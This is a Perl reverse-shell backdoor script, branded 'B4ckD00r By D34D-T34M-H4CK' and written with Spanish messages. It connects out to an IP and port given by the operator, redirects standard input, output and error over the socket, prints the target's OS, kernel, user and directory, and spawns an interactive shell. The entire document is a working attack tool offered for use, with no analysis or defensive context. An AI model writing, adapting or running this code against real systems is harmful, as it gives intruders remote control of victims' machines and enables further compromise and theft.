#/usr/bin/perl
use IO::Socket;
use Term::ANSIColor qw(:constants);

$ARGX = @ARGV;
if($ARGX != 2){
print "\n";
print BOLD YELLOW q(
         ********************************
        *   B4ckD00r By D34D-T34M-H4CK   *
       ************************************
        * Uso: perl back.pl Ipublic Port *
         ********************************
		);
print BOLD GREEN"\n\n";
exit(0);
}

$host=$ARGV[0];
$port=$ARGV[1];
$shell="/bin/sh";
use Socket;

print "\n-> Conectando con $host...";

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "No se Resolvio $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || die "No se creo la conexion con $host\n\n";

print "\n-> Conexion Establecida\n\n";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

my  $so=`uname -s`;
my  $kernel=`uname -r`;
my  $permiso=`whoami`;
my  $directorio=`pwd`;

print BOLD YELLOW "\n\n    MEN LO HAS LOGRADO CON EXITO.";
print "\n   YA ESTAS DENTRO DEL SISTEMA OK !!!";
print BOLD BLUE "\n\n**************************\n";
print BOLD WHITE "-> Sistema Operativo -> "; print BOLD RED "$so";
print BOLD WHITE "-> Version del Kernel -> "; print BOLD RED "$kernel";
print BOLD WHITE "-> Tu Grado de Permiso -> "; print BOLD RED "$permiso";
print BOLD WHITE "-> Directodio -> "; print BOLD RED "$directorio";
print BOLD BLUE "**************************\n\n";
print BOLD GREEN"";
  system 'exec sh -i';
  system ($shell);

close SOCK;